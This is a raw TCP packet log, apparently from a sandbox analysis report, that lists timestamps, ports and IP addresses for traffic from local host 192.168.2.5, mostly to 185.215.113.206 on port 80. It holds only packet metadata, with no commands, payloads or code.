Nov 16, 2024 19:22:30.319588900 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319606066 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319655895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319689035 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319708109 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319736958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319740057 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319770098 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319778919 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319814920 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319819927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319853067 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319885015 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319888115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319907904 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319935083 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319937944 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.319971085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.319977999 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320003033 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320013046 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320038080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320050001 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320069075 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320077896 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320116043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320117950 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320149899 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320168018 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320185900 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320199013 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320235968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320286036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320312023 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320333958 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320336103 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320383072 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320431948 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320431948 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320463896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320494890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320523024 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320534945 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320544004 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320583105 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320616007 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320635080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320648909 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320683002 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320699930 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320710897 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320713043 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320749044 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320758104 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320792913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320801973 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320826054 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320863962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320866108 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320895910 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320928097 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320955992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.320969105 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.320988894 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321021080 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321027040 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321052074 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321084023 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321105957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321116924 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321149111 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321165085 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321191072 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321211100 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321218014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321247101 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321255922 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321278095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321310043 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321316957 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321338892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321363926 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321372032 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321383953 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321404934 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321435928 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321444988 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321468115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321500063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321532011 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321538925 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321563005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321595907 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321599007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321623087 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321664095 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321938038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321965933 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.321983099 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.321996927 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322004080 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322048903 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322081089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322096109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322108030 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322139978 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322146893 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322177887 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322185040 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322210073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322227955 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322238922 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322288036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322320938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322330952 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322375059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322416067 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322424889 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322473049 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322518110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322520018 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322551966 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322585106 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322590113 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322653055 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322685957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322732925 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322734118 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322767019 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322799921 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322807074 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322833061 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322864056 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322870016 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322896957 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322904110 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.322928905 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322962046 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.322993040 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323004007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323025942 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323034048 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323057890 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323064089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323091030 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323123932 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323132038 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323174000 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323204994 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323224068 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323239088 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323272943 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323297024 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323304892 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323349953 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323358059 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323390961 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323421955 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323422909 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323455095 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323484898 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323494911 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323518038 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323549986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323558092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323580980 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323587894 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323611975 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323645115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323657990 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323676109 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323708057 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323738098 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323740005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323765039 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323786974 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323788881 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323821068 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323856115 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323862076 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323888063 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323906898 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323920965 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323951960 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.323956966 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.323983908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.324014902 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.324048996 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.324059963 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.324111938 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.324129105 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.324140072 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.324146032 CET	49820	443	192.168.2.5	13.69.116.109
Nov 16, 2024 19:22:30.324146986 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.324147940 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.324155092 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.324156046 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.324157953 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.324172974 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.324184895 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.324186087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.324186087 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.324220896 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.324223995 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.324346066 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.339824915 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.339844942 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.347071886 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.347131968 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.347275972 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.347275972 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.347371101 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.347453117 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.355263948 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.370719910 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.370719910 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.370870113 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.372227907 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:30.372646093 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:30.372739077 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:30.373208046 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:30.373284101 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:30.374197960 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:30.374406099 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:30.374562025 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:30.374653101 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:30.374697924 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:30.374722004 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:30.374735117 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:30.386332035 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.392236948 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.392255068 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.392308950 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.392452955 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.392452955 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.393533945 CET	49829	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.393577099 CET	443	49829	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.397133112 CET	443	49824	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.397480965 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.397542953 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.397830009 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.399627924 CET	49828	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.399641991 CET	443	49828	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.401256084 CET	49824	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.401299953 CET	443	49824	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.402812004 CET	49824	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.402823925 CET	443	49824	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.404802084 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.404863119 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.404882908 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.404922009 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.404934883 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.404959917 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.405045986 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.405154943 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.406430960 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.406430960 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.406445980 CET	443	49827	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.406492949 CET	49827	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.407736063 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.407757998 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.407764912 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.407813072 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.407846928 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.407881975 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.410540104 CET	49825	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.410547018 CET	443	49825	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.413697958 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.413743973 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.413872957 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.413913965 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.414021969 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.415349960 CET	49830	443	192.168.2.5	23.38.189.114
Nov 16, 2024 19:22:30.415365934 CET	443	49830	23.38.189.114	192.168.2.5
Nov 16, 2024 19:22:30.417202950 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:30.417222977 CET	443	49834	20.25.227.174	192.168.2.5
Nov 16, 2024 19:22:30.430258989 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.430313110 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.430354118 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.430372000 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.430402994 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.430424929 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.449311972 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.449852943 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.449868917 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.450299025 CET	49831	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.450304985 CET	443	49831	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.459482908 CET	49834	443	192.168.2.5	20.25.227.174
Nov 16, 2024 19:22:30.465862036 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.465913057 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.465991020 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.466023922 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.466049910 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.466087103 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.466372013 CET	49808	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.466413975 CET	443	49808	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.471152067 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.471357107 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.471741915 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.471756935 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.472378969 CET	49832	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.472384930 CET	443	49832	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.472563028 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.472645998 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.472676039 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.472708941 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.472733021 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.472743988 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.472783089 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.472796917 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.472796917 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.472831964 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.472862959 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.472863913 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.472918034 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.472930908 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.472980976 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473015070 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473032951 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473062992 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473089933 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473109007 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473114014 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473145962 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473156929 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473187923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473229885 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473264933 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473298073 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473304033 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473325968 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473351002 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473359108 CET	49835	443	192.168.2.5	13.107.246.45
Nov 16, 2024 19:22:30.473362923 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473376036 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473380089 CET	443	49835	13.107.246.45	192.168.2.5
Nov 16, 2024 19:22:30.473409891 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473455906 CET	49770	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:30.473459005 CET	80	49770	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:30.473494053 CET	80	49770	185.215.113.206	192.168.2.5
